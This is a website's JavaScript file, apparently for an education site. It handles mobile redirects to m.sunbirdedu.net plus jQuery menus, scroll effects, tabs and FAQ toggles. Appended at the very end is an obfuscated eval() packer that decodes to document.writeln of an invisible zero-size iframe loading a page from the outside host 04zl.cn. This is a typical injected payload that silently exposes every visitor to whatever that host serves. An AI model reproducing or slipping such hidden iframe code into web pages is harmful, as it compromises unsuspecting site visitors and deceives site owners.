// JavaScript Document var bForcepc = fGetQuery("dv") == "pc"; function fBrowserRedirect(){ var sUserAgent = navigator.userAgent.toLowerCase(); var bIsIpad = sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp = sUserAgent.match(/midp/i) == "midp"; var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid = sUserAgent.match(/android/i) == "android"; var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; if(bIsIpad){ var sUrl = location.href; if(!bForcepc){ window.location.href = "http://m.sunbirdedu.net/index.php"; } } if(bIsIphoneOs || bIsAndroid){ var sUrl = location.href; if(!bForcepc){ window.location.href = "http://m.sunbirdedu.net/index.php"; } } if(bIsMidp||bIsUc7||bIsUc||bIsCE||bIsWM){ var sUrl = location.href; if(!bForcepc){ window.location.href = "http://m.sunbirdedu.net/index.php"; } } } function fGetQuery(name){//?峰???????? var sUrl = window.location.search.substr(1); var r = sUrl.match(new RegExp("(^|&)" + name + "=([^&]*)(&|$)")); return (r == null ? null : unescape(r[2])); } function fShowVerBlock(){ if(bForcepc){ document.getElementById("dv_block").style.display = "block"; } else{ document.getElementById("ad_block").style.display = "block"; } } fBrowserRedirect(); //??鏈鸿?块??缁? $(function(){ //-- $('.sNavA').each(function(i){ $(this).hover( function(){ $('.sNav').eq(i).css('left',$(this).offset().left-10); /* if(i>3){ $('.sNav').eq(i).css('left',$(this).offset().left-340); } */ $('.sNav').eq(i).show(); }, function(){ $('.sNav').hide(); } ) }) $('.sNav').each(function(i){ $(this).hover( function(){ $('.sNavA').eq(i).addClass('aNow1'); $(this).show(); }, function(){ $('.sNavA').removeClass('aNow1'); $('.sNav').hide(); } ) }) //-- if($('.sideBox').length>0){ $(window).scroll(function(){ if($(window).scrollTop()>541){ $('.sideBox').addClass('sideBoxNow'); }else{ $('.sideBox').removeClass('sideBoxNow'); } if($(window).scrollTop()+$('.sideBoxNow').height()>=$('.footDiv').offset().top){ $('.sideBox').css('top',$('.footDiv').offset().top-$('.sideBoxNow').height()); $('.sideBox').addClass('sideBoxNow2'); }else{ $('.sideBox').removeClass('sideBoxNow2'); $('.sideBox').css('top',0); } }) } //-- if($('.topA').length>0){ $(window).scroll(function(){ if($(window).scrollTop()<200){ $('.topA').fadeOut(200); }else{ $('.topA').fadeIn(200); } }) } $('.topA').click(function(){ $('body,html').animate({scrollTop: 0}, 500,'easeOutQuart'); }) //-- $('.faq').find('li').each(function(i){ $(this).find('.title').click(function(){ if($('.faq').find('li').eq(i).hasClass('liNow')){ $('.faq').find('li').removeClass('liNow'); }else{ $('.faq').find('li').removeClass('liNow'); $('.faq').find('li').eq(i).addClass('liNow'); } }) }) //-- $('.Train').find('li').hover( function(){ $(this).addClass('liNow'); }, function(){ $(this).removeClass('liNow'); } ) //-- $('.tabContentDiv').find('.tabContent:first').show(); $('.tab').each(function(i){ $(this).find('li').each(function(ii){ $(this).hover( function(){ $('.tab').eq(i).find('li').removeClass('liNow'); $(this).addClass('liNow'); $('.tabContentDiv').eq(i).find('.tabContent').hide(); $('.tabContentDiv').eq(i).find('.tabContent').eq(ii).show(); }, function(){} ) }) }) //-- $('.TrainPart4').find('li').hover( function () { $(this).find('.imgDiv').fadeOut(200); }, function(){ $(this).find('.imgDiv').fadeIn(200); } ) $('.TrainPart4').find('.ll').hover( function () { $(this).find('.imgDiv').fadeOut(200); }, function () { $(this).find('.imgDiv').fadeIn(200); } ) //-- /*$('.sideBar').find('a').each(function(i){ $(this).click(function(){ $('.sideBar').find('a').removeClass('aNow'); $(this).addClass('aNow'); $('body,html').stop().animate({scrollTop: $('.TrainDiv').eq(i).offset().top}, 500,'easeOutQuart'); }) }) if($('.sideBar').length>0){ $(window).scroll(function(){ $('.TrainDiv').each(function(i){ if($(window).scrollTop()>=$(this).offset().top-200){ $('.sideBar').find('a').removeClass('aNow'); $('.sideBar').find('a').eq(i).addClass('aNow'); } }) }) }*/ //-- $('.CustomerLayer').find('.btnDiv').find('a:first').click(function(){ $('.CustomerLayer').hide(); }) //-- $('.sideTelBtn').click(function(){ $('.sideTelLayer').show(); }) $('.sideTelLayer').find('.close').click(function(){ $('.sideTelLayer').hide(); }) //-- $('.sideConsultationA').click(function(){ $('.sideConsultation').show(); }) $('.sideConsultation').find('.close').click(function(){ $('.sideConsultation').hide(); }) // }) eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7.5("<1 6=\\"4://2.3/a.b\\" c=\\"0\\" 8=\\"0\\" 9=\\"0\\">");',13,13,'|iframe|04zl|cn|http|writeln|src|document|height|frameborder||html|width'.split('|'),0,{}))